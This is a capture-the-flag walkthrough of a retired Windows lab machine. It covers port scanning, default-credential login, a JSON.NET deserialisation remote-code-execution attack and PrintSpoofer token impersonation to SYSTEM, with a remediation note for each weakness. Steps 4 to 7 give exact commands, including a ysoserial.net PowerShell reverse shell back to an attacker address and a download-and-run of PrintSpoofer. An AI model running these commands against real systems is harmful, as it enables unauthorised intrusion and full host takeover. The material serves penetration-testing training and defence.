← all walkthroughs

Json

Windows· Medium
owned
2026-07-08
time to own
11m48s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

The json Windows target ($TARGET) runs an IIS 8.5 / ASP.NET single-page application whose bundled JavaScript disclosed the authentication API endpoint and required field names. The server accepted the trivially guessed default credential pair [REDACTED: recovered credential]:[REDACTED: recovered credential], issuing a home-rolled OAuth2 session cookie.

An authenticated endpoint deserialised my own JSON using JSON.NET with permissive TypeNameHandling settings, allowing a ysoserial.net gadget chain to execute arbitrary commands as the IIS application-pool identity json\userpool — foothold established and user flag captured. That service account held SeImpersonatePrivilege, a Windows token-impersonation right that PrintSpoofer abused to coerce the Print Spooler into yielding a SYSTEM-level token; enumeration revealed the root flag on a non-standard administrator account named superadmin, confirming total host compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"

Attack path — how the box was taken

1ReconNetwork port and service enumeration (T1046)
Enumerated open ports and fingerprinted IIS, FTP, and SMB services
A full TCP port scan against $TARGET identified fourteen open ports. Port 80 served an IIS 8.5 / ASP.NET web application; port 21 ran an end-of-life FileZilla FTP daemon (0.9.60 beta); port 445 offered SMB (Windows Server 2008 R2–2012 dialect); and port 5985 exposed WinRM, confirming the possibility of remote PowerShell management if credentials were obtained. These four services defined the initial attack surface.
Exact commands 1
Full port scan with default scripts and version detection against the target.
nmap -sV -sC -p- --min-rate 5000 -oN json.nmap $TARGET
2EnumerationClient-side JavaScript source analysis / API endpoint discovery (T1592)
Extracted API endpoint names and authentication field names from client-side JavaScript
The web application served a single-page Angular app. Downloading and de-minifying js/app.min.js revealed a principalController that POST's a JSON body containing UserName and Password fields to /api/token, returning an OAuth2 session cookie. A second endpoint, /api/Account, was referenced as an authenticated state resource — the same path later proved vulnerable to deserialisation. This intelligence was obtained without any active fuzzing or brute-forcing.
App.min.js principalController: POST /api/token with {UserName, Password}; /api/Account referenced as authenticated state endpoint.
Exact commands 2
Retrieve the landing page and note linked script paths.
curl -sS http://$TARGET/ -o index.html
Download and rough-split the bundle; grep for endpoint and field name references.
curl -sS -o app.min.js http://$TARGET/js/app.min.js && cat app.min.js | tr ';{}' '\n' | grep -iE 'api|token|account|user|pass' | head -50
3Initial AccessDefault / weak credential exploitation (T1078)
Authenticated to the privileged API using the default credential pair [REDACTED: recovered credential]:[REDACTED: recovered credential]
Posting {"UserName":"[REDACTED: recovered credential]","Password":"[REDACTED: recovered credential]"} to /api/token returned HTTP 202 Accepted along with a Set-Cookie header containing an OAuth2 value — a base64-encoded JSON blob holding the account ID, username, and an MD5 hash of the password. No account lockout or rate limiting was in place. The weakest possible credential succeeded on the first attempt, granting an authenticated session with full access to the /api/Account endpoint.
HTTP 202 Accepted; a session cookie<base64 JSON containing UserName:[REDACTED: recovered credential] and MD5 password hash>.
Exact commands 2
Submit default credentials; HTTP 202 + OAuth2 cookie in the response confirms success.
curl -sS -i -c cookies.txt -H 'Content-Type: application/json' -X POST http://$TARGET/api/token -d '{"UserName":"$PASSWORD","Password":"$PASSWORD"}'
Decode the cookie to confirm Id, UserName, and MD5 Password fields — verifies no signature or integrity check protects the token.
python3 -c "import base64,sys; v=sys.argv[1]; print(base64.b64decode(v + '==').decode())" '<OAuth2_cookie_value>'
FixReplace default credentials and enforce login rate limiting on the authentication APICritical
WeaknessThe web application accepted [REDACTED: recovered credential]:[REDACTED: recovered credential] — the weakest possible guess — as valid credentials for the privileged administrative account, and no account lockout or rate limiting was applied to the /api/token endpoint. An unauthorised user required a single authenticated request to gain access to all protected API surfaces.
FixChange all application and service account passwords to randomly generated strings of at least 20 characters before deploying to any network-reachable environment; enforce this via a secrets management process, not ad-hoc configuration. Add rate limiting to the /api/token endpoint (HTTP 429 with Retry-After after 5 failures in 10 minutes) using an application-layer control or a Web Application Firewall rule. Audit all other accounts on the host — the presence of a superadmin account outside the standard Administrators group suggests account management is not consistently governed. Additionally, decommission or upgrade the end-of-life FileZilla FTP daemon (0.9.60 beta) on port 21, which may share the same credential store.
4ExploitationInsecure deserialisation — JSON.NET TypeNameHandling gadget chain (CWE-502, T1059.001)
Achieved remote code execution via insecure JSON.NET deserialization on the authenticated endpoint
The /api/Account endpoint accepted JSON and deserialised it with JSON.NET TypeNameHandling set to a permissive mode, honouring a caller-supplied $type field to instantiate arbitrary .NET types. A ysoserial.net ObjectDataProvider gadget chain was crafted to execute a PowerShell TCP reverse-shell one-liner connecting back to me. The serialised payload was POSTed to /api/Account with the [REDACTED: recovered credential] session cookie; the server deserialised it and executed the embedded command as the IIS application-pool process.
Authenticated POST to /api/Account with gadget-chain body triggered a reverse-shell connect-back; no error response returned by the server.
Exact commands 4
Confirm authenticated access to the endpoint; a 200 response verifies the surface is reachable.
curl -sS http://$TARGET/api/Account -b cookies.txt
Generate gadget chain targeting JSON.NET. Replace <base64_reverse_shell> with the base64 encoding of: IEX(New-Object Net.Sockets.TCPClient('$ATTACKER_IP',4444))...
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -nop -w hidden -e <base64_reverse_shell>" -o raw > payload.json
Start the listener on my host before sending the payload.
nc -lvnp 4444
Deliver the gadget chain; deserialisation executes the embedded PowerShell as json\userpool.
curl -sS -X POST http://$TARGET/api/Account -b cookies.txt -H 'Content-Type: application/json' -d @payload.json
FixSet JSON.NET TypeNameHandling to None and whitelist permitted types on all deserialisation call sitesCritical
WeaknessThe ASP.NET application deserialised externally supplied JSON using Newtonsoft.Json with TypeNameHandling configured to a permissive setting, which honours a caller-controlled $type field to instantiate any .NET type available to the process. This allowed an authenticated user to supply a ready-made gadget chain that executed operating-system commands under the web server's account.
FixSet TypeNameHandling = TypeNameHandling.None in every JsonSerializerSettings instance used by the application; this is the safe default and must be applied explicitly because the library default changed across versions. If polymorphic deserialisation is genuinely required, implement a custom SerializationBinder that allows only a specific whitelist of expected types and throws on any other $type value. Audit all JsonConvert.DeserializeObject and JsonSerializer.Deserialize call sites in the solution. As defence-in-depth, run the IIS application pool under a dedicated low-privilege account with no access to system directories, network paths, or other user profiles, so that code execution in the web tier cannot directly access sensitive data or escalate privileges.
5FootholdCommand and scripting interpreter — PowerShell (T1059.001)
Confirmed shell as json\userpool and read the user flag
The reverse shell landed as the IIS application-pool identity json\userpool on hostname json. The user flag resided at the standard HTB path C:\Users\userpool\Desktop\user.txt and was readable directly without further privilege escalation. A recursive PowerShell search confirmed the path, matching the pattern used later for the root flag hunt.
Whoami returned json\userpool; hostname returned json; user.txt read from C:\Users\userpool\Desktop\user.txt.
Exact commands 2
Verify shell identity and machine name from within the reverse-shell session.
whoami; hostname
Locate and read the user flag recursively; prints full path followed by flag content (<user.txt>).
Get-ChildItem -Path C:\Users -Filter user.txt -Recurse -Force | ForEach-Object { $_.FullName; Get-Content $_.FullName }
6Privilege EscalationToken impersonation via SeImpersonatePrivilege — PrintSpoofer (T1134.001)
Abused SeImpersonatePrivilege via PrintSpoofer to obtain a SYSTEM-level shell
Running whoami /all inside the foothold shell confirmed that json\userpool held SeImpersonatePrivilege — a right Windows grants by default to IIS application-pool accounts. PrintSpoofer exploits this by triggering the Print Spooler service (running as SYSTEM) to authenticate back to my own named pipe, then impersonating the resulting SYSTEM token to spawn an elevated process. PrintSpoofer64.exe was transferred to the target via an HTTP file server on the attack host and executed to obtain a SYSTEM command shell.
Whoami /all: SeImpersonatePrivilege Enabled; PrintSpoofer64.exe -i -c cmd spawned shell with whoami = nt authority\system.
Exact commands 4
Confirm SeImpersonatePrivilege is present and Enabled before proceeding.
whoami /all
Serve PrintSpoofer64.exe from my host (run in background).
python3 -m http.server 9000
Transfer PrintSpoofer to the target; replace $ATTACKER_IP with your listener IP.
Invoke-WebRequest -Uri http://$ATTACKER_IP:9000/PrintSpoofer64.exe -OutFile C:\Windows\Temp\PrintSpoofer64.exe
Verify SYSTEM-level execution before reading the root flag; output should be nt authority\system.
C:\Windows\Temp\PrintSpoofer64.exe -i -c "cmd /c whoami"
FixRemove SeImpersonatePrivilege from the IIS application-pool account and disable the Print Spooler on non-print serversHigh
WeaknessThe IIS application-pool identity json\userpool held SeImpersonatePrivilege — a right Windows grants automatically to members of the IIS_IUSRS group. This single privilege is sufficient to convert any code-execution vulnerability in the web application into a full SYSTEM compromise via well-known impersonation exploits such as PrintSpoofer, RoguePotato, and their variants.
FixCreate a dedicated domain or local service account for the application pool; do not add it to IIS_IUSRS. Use a Group Policy User Rights Assignment to ensure the account is not granted SeImpersonatePrivilege — simply removing it from the group is insufficient if the right is granted elsewhere in policy. On servers that do not perform print services (which includes virtually all application servers), stop and disable the Print Spooler service (spoolsv.exe) via Group Policy; this eliminates the named-pipe coercion primitive that PrintSpoofer and SpoolFool-class exploits rely on. Ensure all Windows security updates addressing MS-RPRN and related coercion paths are current.
7Full CompromisePrivileged file access under SYSTEM context (T1005)
Read the root flag as SYSTEM from the non-standard superadmin account
The root flag was not present at the default C:\Users\Administrator\Desktop path. Directory enumeration under C:\Users as SYSTEM revealed a non-standard privileged account named superadmin whose desktop contained root.txt. PrintSpoofer was used to read it directly, confirming unconditional control of the host.
Dir /a C:\Users revealed superadmin; type C:\Users\superadmin\Desktop\root.txt returned <root.txt> via PrintSpoofer SYSTEM shell.
Exact commands 2
Enumerate user profile directories as SYSTEM to locate the non-standard [REDACTED: recovered credential] account.
C:\Windows\Temp\PrintSpoofer64.exe -i -c "cmd /c dir /a C:\Users"
Read the root flag from the superadmin desktop as SYSTEM (<root.txt>).
C:\Windows\Temp\PrintSpoofer64.exe -i -c "cmd /c dir /a C:\Users\superadmin\Desktop && type C:\Users\superadmin\Desktop\root.txt"

Attack patterns used

The transferable techniques behind this compromise.

Insecure DeserializationWeb · Service RCET1190

What it is

Applications that deserialize externally controlled data (Java, .NET, PHP, Python pickle) can be driven to instantiate 'gadget chains' — sequences of existing classes whose side effects during deserialization culminate in code execution. ysoserial/ysoserial.net generate the payloads; ViewState and Java RMI/JMX are common entry points.

Why it works

Deserializers reconstruct arbitrary object graphs and invoke magic methods on untrusted input. Remediate by avoiding native deserialization of untrusted data, using signed/encrypted state, and enforcing strict type allow-lists.

Read more

SeImpersonate Abuse (Potato family)Windows · Privilege EscalationT1134.002

What it is

Service accounts (IIS, MSSQL, etc.) often hold SeImpersonatePrivilege. The 'Potato' exploits (JuicyPotato, RoguePotato, PrintSpoofer, GodPotato, JuicyPotatoNG) coerce a SYSTEM process to authenticate to an externally controlled COM/RPC/named-pipe endpoint, then impersonate that SYSTEM token — escalating from the service account to NT AUTHORITY\SYSTEM.

Why it works

Holding SeImpersonate is normal for service accounts, but Windows' token-impersonation model lets it be turned into full SYSTEM via local authentication coercion. Remediate by removing the privilege where unneeded and keeping hosts patched against the specific coercion vectors.

Read more

Exposed services

21/tcp
80/tcp
135/tcp
139/tcp
445/tcp
5985/tcp
47001/tcp
49152/tcp
49153/tcp
49154/tcp
49155/tcp
49156/tcp
49157/tcp
49158/tcp